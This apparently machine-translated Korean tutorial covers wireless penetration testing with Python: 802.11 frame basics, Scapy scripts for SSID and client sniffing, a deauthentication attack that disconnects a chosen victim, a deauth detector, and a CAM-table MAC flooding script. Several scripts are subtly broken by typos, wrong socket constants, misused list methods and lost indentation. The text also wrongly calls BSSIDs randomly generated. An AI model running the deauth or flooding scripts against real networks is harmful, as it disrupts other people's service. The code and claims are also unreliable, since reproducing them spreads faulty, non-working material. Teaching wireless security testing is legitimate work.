무선 네트워크 침투 테스트

무선 시스템은 많은 유연성을 제공하지만 다른 한편으로는 심각한 보안 문제로 이어집니다. 그리고 이것이 어떻게 심각한 보안 문제가됩니까? 무선 연결의 경우 공격자는 유선 네트워크의 경우처럼 물리적 액세스가 아닌 공격에 대한 신호의 가용성 만 있으면되기 때문입니다. 무선 시스템의 침투 테스트는 유선 네트워크에서 수행하는 것보다 쉬운 작업입니다. 우리는 무선 매체에 대해 좋은 물리적 보안 조치를 적용 할 수 없습니다. 우리가 충분히 가까이 있으면 공기를 통해 흐르는 모든 것을 "들을"수 있습니다 (또는 적어도 귀하의 무선 어댑터가들을 수 있습니다).

전제 조건

무선 네트워크의 침투 테스트에 대해 자세히 알아보기 전에 클라이언트와 무선 시스템 간의 통신 프로세스와 용어에 대해 논의 해 보겠습니다.

중요한 용어

이제 무선 네트워크의 침투 테스트와 관련된 중요한 용어에 대해 알아 보겠습니다.

액세스 포인트 (AP)

액세스 포인트 (AP)는 802.11 무선 구현의 중심 노드입니다. 이 지점은 사용자를 네트워크 내의 다른 사용자와 연결하는 데 사용되며 무선 LAN (WLAN)과 유선 네트워크 간의 상호 연결 지점 역할을 할 수도 있습니다. WLAN에서 AP는 데이터를 송수신하는 스테이션입니다.

서비스 세트 식별자 (SSID)

기본적으로 무선 네트워크에 할당 된 이름 인 0-32 바이트 길이의 사람이 읽을 수있는 텍스트 문자열입니다. 네트워크의 모든 장치는 무선 네트워크 (Wi-Fi)를 통해 통신하려면이 대소 문자 구분 이름을 사용해야합니다.

BSSID (Basic Service Set Identification)

무선 액세스 포인트 (AP)에서 실행되는 Wi-Fi 칩셋의 MAC 주소입니다. 무작위로 생성됩니다.

채널 번호

전송을 위해 액세스 포인트 (AP)가 사용하는 무선 주파수 범위를 나타냅니다.

클라이언트와 무선 시스템 간의 통신

우리가 이해해야 할 또 다른 중요한 것은 클라이언트와 무선 시스템 간의 통신 프로세스입니다. 다음 다이어그램의 도움으로 우리는 같은 것을 이해할 수 있습니다.

비콘 프레임

클라이언트와 액세스 포인트 간의 통신 과정에서 AP는 주기적으로 비콘 프레임을 전송하여 자신의 존재를 표시합니다. 이 프레임은 SSID, BSSID 및 채널 번호와 관련된 정보와 함께 제공됩니다.

프로브 요청

이제 클라이언트 장치는 범위 내의 AP를 확인하기 위해 프로브 요청을 보냅니다. 프로브 요청을 보낸 후 AP로부터 프로브 응답을 기다립니다. 프로브 요청에는 AP의 SSID, 공급 업체별 정보 등과 같은 정보가 포함됩니다.

프로브 응답

이제 프로브 요청을받은 후 AP는 지원되는 데이터 속도, 기능 등과 같은 정보가 포함 된 프로브 응답을 보냅니다.

인증 요청

이제 클라이언트 장치는 ID가 포함 된 인증 요청 프레임을 보냅니다.

인증 응답

이제 이에 대한 응답으로 AP는 승인 또는 거부를 나타내는 인증 응답 프레임을 보냅니다.

협회 요청

인증이 성공하면 클라이언트 장치는 지원되는 데이터 속도와 AP의 SSID를 포함하는 연결 요청 프레임을 전송합니다.

협회 응답

이제 이에 대한 응답으로 AP는 수락 또는 거부를 나타내는 연결 응답 프레임을 보냅니다. 수락하는 경우 클라이언트 장치의 연결 ID가 생성됩니다.

Python을 사용하여 무선 서비스 세트 식별자 (SSID) 찾기

원시 소켓 방법과 Scapy 라이브러리를 사용하여 SSID에 대한 정보를 수집 할 수 있습니다.

원시 소켓 방법

우리는 이미 mon0무선 패킷을 캡처합니다. 그래서 우리는 모니터 모드를mon0. Kali Linux에서는 다음의 도움으로 수행 할 수 있습니다.airmon-ng스크립트. 이 스크립트를 실행하면 무선 카드에 다음과 같은 이름이 지정됩니다.wlan1. 이제 다음 명령을 사용하여 모니터 모드를 활성화해야합니다.mon0

airmon-ng start wlan1

다음은 AP의 SSID를 제공하는 원시 소켓 메서드 인 Python 스크립트입니다.

먼저 다음과 같이 소켓 모듈을 가져와야합니다.

import socket

이제 세 개의 매개 변수가있는 소켓을 만듭니다. 첫 번째 매개 변수는 패킷 인터페이스 (Linux 전용의 경우 PF_PACKET, Windows의 경우 AF_INET)에 대해 알려주고, 두 번째 매개 변수는 원시 소켓인지, 세 번째 매개 변수는 모든 패킷에 관심이 있음을 알려줍니다.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

이제 다음 줄은 mon0 모드 및 0x0003.

s.bind(("mon0", 0x0003))

이제 AP의 SSID를 저장할 빈 목록을 선언해야합니다.

ap_list = []

이제 우리는 recvfrom()패킷을받는 방법. 스니핑을 계속하려면 무한 while 루프를 사용합니다.

while True:
   packet = s.recvfrom(2048)

다음 코드 줄은 프레임이 비콘 프레임을 나타내는 8 비트인지 보여줍니다.

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

Scapy가있는 SSID 스니퍼

Scapy는 Wi-Fi 패킷을 쉽게 스니핑 할 수있는 최고의 라이브러리 중 하나입니다. Scapy에 대한 자세한 내용은https://scapy.readthedocs.io/en/latest/. 먼저 대화 형 모드에서 Sacpy를 실행하고 conf 명령을 사용하여 iface의 값을 가져옵니다. 기본 인터페이스는 eth0입니다. 이제 위의 돔이 있으므로이 모드를 mon0으로 변경해야합니다. 다음과 같이 할 수 있습니다-

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

이제 Scapy를 라이브러리로 가져 오겠습니다. 또한 다음 Python 스크립트를 실행하면 SSID가 제공됩니다.

from scapy.all import *

이제 AP의 SSID를 저장할 빈 목록을 선언해야합니다.

ap_list = []

이제 우리는 이름이 지정된 함수를 정의 할 것입니다. Packet_info(), 완전한 패킷 구문 분석 로직을 갖습니다. pkt 인수가 있습니다.

def Packet_info(pkt) :

다음 문장에서 우리는 오직 통과하는 필터를 적용 할 것입니다. Dot11트래픽은 802.11 트래픽을 의미합니다. 다음 행은 프레임 유형 0 (관리 프레임을 나타냄)이고 프레임 하위 유형이 8 (비콘 프레임을 나타냄) 인 트래픽을 전달하는 필터이기도합니다.

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

이제 sniff 함수는 다음과 같이 데이터를 스니핑합니다. ifacemon0 (무선 패킷의 경우) Packet_info 함수.

sniff(iface = "mon0", prn = Packet_info)

위의 Python 스크립트를 구현하려면 모니터 모드를 사용하여 공기를 스니핑 할 수있는 Wi-Fi 카드가 필요합니다.

액세스 포인트 클라이언트 감지

액세스 포인트의 클라이언트를 감지하려면 프로브 요청 프레임을 캡처해야합니다. Scapy를 사용하여 SSID 스니퍼에 대한 Python 스크립트에서했던 것처럼 할 수 있습니다. 우리는 줄 필요가 있습니다Dot11ProbeReq프로브 요청 프레임을 캡처합니다. 다음은 액세스 포인트의 클라이언트를 감지하는 Python 스크립트입니다.

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

무선 공격

펜 테스터의 관점에서 무선 공격이 어떻게 발생하는지 이해하는 것이 매우 중요합니다. 이 섹션에서는 두 가지 종류의 무선 공격에 대해 설명합니다.

  • 인증 해제 (deauth) 공격

  • MAC 플러딩 공격

인증 해제 (deauth) 공격

클라이언트가 연결을 끊고 싶을 때마다 클라이언트 장치와 액세스 포인트 간의 통신 프로세스에서 인증 해제 프레임을 보내야합니다. 클라이언트의 해당 프레임에 대한 응답으로 AP는 인증 해제 프레임도 보냅니다. 공격자는 피해자의 MAC 주소를 스푸핑하고 인증 해제 프레임을 AP로 전송하여 이러한 정상적인 프로세스의 이점을 얻을 수 있습니다. 이로 인해 클라이언트와 AP 간의 연결이 끊어집니다. 다음은 인증 해제 공격을 수행하는 Python 스크립트입니다.

먼저 Scapy를 라이브러리로 가져 오겠습니다.

from scapy.all import *
import sys

다음 두 문장은 각각 AP와 희생자의 MAC 주소를 입력합니다.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

이제 인증 해제 프레임을 만들어야합니다. 다음 문을 실행하여 생성 할 수 있습니다.

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

다음 코드 줄은 전송 된 총 패킷 수를 나타냅니다. 여기서는 500이고 두 패킷 사이의 간격입니다.

sendp(frame, iface = "mon0", count = 500, inter = .1)

산출

실행시 위의 명령은 다음과 같은 출력을 생성합니다.

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

그 후 deauth 프레임이 생성되어 클라이언트를 대신하여 액세스 포인트로 전송됩니다. 이렇게하면 둘 사이의 연결이 취소됩니다.

여기서 질문은 Python 스크립트로 deauth 공격을 감지하는 방법입니다. 다음 Python 스크립트를 실행하면 이러한 공격을 감지하는 데 도움이됩니다.

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

위의 스크립트에서 문 pkt.subtype == 12 deauth 프레임을 나타내며 전역 적으로 정의 된 변수 I는 패킷 수를 알려줍니다.

산출

위의 스크립트를 실행하면 다음과 같은 출력이 생성됩니다.

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

MAC 주소 플러딩 공격

MAC 주소 플러딩 공격 (CAM 테이블 플러딩 공격)은 스위치 포트에 연결된 공격자가 서로 다른 가짜 소스 MAC 주소를 가진 매우 많은 수의 이더넷 프레임으로 스위치 인터페이스를 플러딩하는 네트워크 공격 유형입니다. CAM 테이블 오버플로는 MAC 주소의 유입이 테이블로 넘쳐 CAM 테이블 임계 값에 도달 할 때 발생합니다. 이로 인해 스위치가 허브처럼 작동하여 모든 포트에서 트래픽이 네트워크에 쇄도합니다. 이러한 공격은 시작하기가 매우 쉽습니다. 다음 Python 스크립트는 이러한 CAM 플러딩 공격을 시작하는 데 도움이됩니다.

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

이러한 종류의 공격의 주요 목적은 스위치의 보안을 확인하는 것입니다. MAC 플러딩 공격의 영향을 줄이려면 포트 보안을 사용해야합니다.